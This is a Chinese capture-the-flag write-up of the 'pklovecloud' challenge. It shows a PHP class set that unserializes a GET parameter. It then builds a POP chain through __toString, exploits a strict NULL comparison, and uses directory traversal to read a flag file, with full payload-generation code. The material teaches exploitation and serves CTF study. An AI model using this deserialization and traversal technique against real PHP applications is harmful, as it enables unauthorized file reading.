[第五空间 2021]pklovecloud 详细题解
知识点:
构造POP链
PHP类的作用域
NULL强比较
目录穿越
源码如下:
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
构造POP链:
代码很直白,GET传入参数pks,输出反序列化的结果
从后向前推构造POP链,可以看到ace类中的代码 return file_get_contents($file);
file_get_contents()函数读取文件,但是不会输出,刚好代码最后会echo 输出反序列化后的结果,所以最终的目标就是读取flag文件然后输出得到flag
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
需要满足if($this->openstack->neutron === $this->openstack->nova) 条件
openstack 是ace类中docker属性反序列化得到的结果,neutron 和 nova 都是acp类中的属性
$this->openstack->neutron = $heat;
这里代码中并没有出现过$heat 参数,最开始 include 'flag.php'; 包含了flag.php文件,$heat可能是在这里定义的,但是并不重要,因为在所有类中都没有出现过$heat,那么$heat的值就是NULL
因为类中的属性和类外面的属性值是没关系的
用两个php文件演示一下,在include.php文件中定义了$heat 然后另一个是反序列化文件
//include.php
<?php
$heat="123456";
echo "hahaha"."\n";
//serialize.php
<?php
include 'include.php';
echo $heat . "\n";
class ace
{
public $filename;
public $docker;
public function abc()
{
if($this->docker === $heat)
echo "ddddddddddddddddddddd!";
}
}
$a = new ace();
echo $a->abc();
?>
结果在下面,这里没有给属性docker赋值,但是满足了 $this->docker === $heat 说明这里是NULL === NULL $heat不是外面的123456 而是NULL
既然$heat = NULL $this->openstack->neutron 和 $this->openstack->nova 就也得是NULL
$this->openstack = unserialize($this->docker); openstack 又是反序列化 docker 属性的结果,那么对docker属性不赋值即可,这样反序列化得到的就是NULL
然后就是如何调用echo_name函数,发现 acp类中的 __toString()方法会return $this->cinder->echo_name()
cinder是protected类型,不能在外部赋值,需要在类内部的__construct()方法中改为ace类对象
toString()方法会在一个对象被当作字符串时被触发自动调用
最后的代码程序接受了pks参数后会先进行反序列化,然后echo 反序列后的对象
因此如果传入pks参数后,$logData是反序列化得到的对象,然后会echo $logData,就会触发__toString()方法,完成构造
pop链:
ace::echo_name() -> acp::__toString() -> acp:: __construct()
序列化代码:
<?php
class acp
{
protected $cinder ; // 2 在__construct()内部赋值为ace类对象
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}
class ace
{
public $filename = 'flag.php'; // 内部赋值为flag.php
public $openstack;
public $docker; // 1 赋值为空(null),或者什么都不赋值
}
$a= new ace();
$a->docker = null;
$b=new acp();
echo urlencode(serialize($b));
这里要对序列化的结果进行url编码,因为acp类中有protected类型,protected属性序列化的时候格式是 \00*\00成员名 所以需要进行url编码防止无法识别
目录穿越:
查看源码得到flag.php 的源码,$heat确实是在这里定义的
修改代码中的文件名即可,public $filename = 'nssctfasdasdflag';
回显 keystone lost~ 说明没有满足if (file_get_contents($file))条件,那就是没有读取到文件,应该是文件的路径不对
这里 $file = "./{$this->filename}"; ./表示当前目录,花括号 {} 用于在字符串中明确地界定变量的边界,逐级目录穿越查找nssctfasdasdflag 文件所在的路径即可
目录穿越一级发现成功读取得到了flag,赋值为 public $filename = '../nssctfasdasdflag' 即可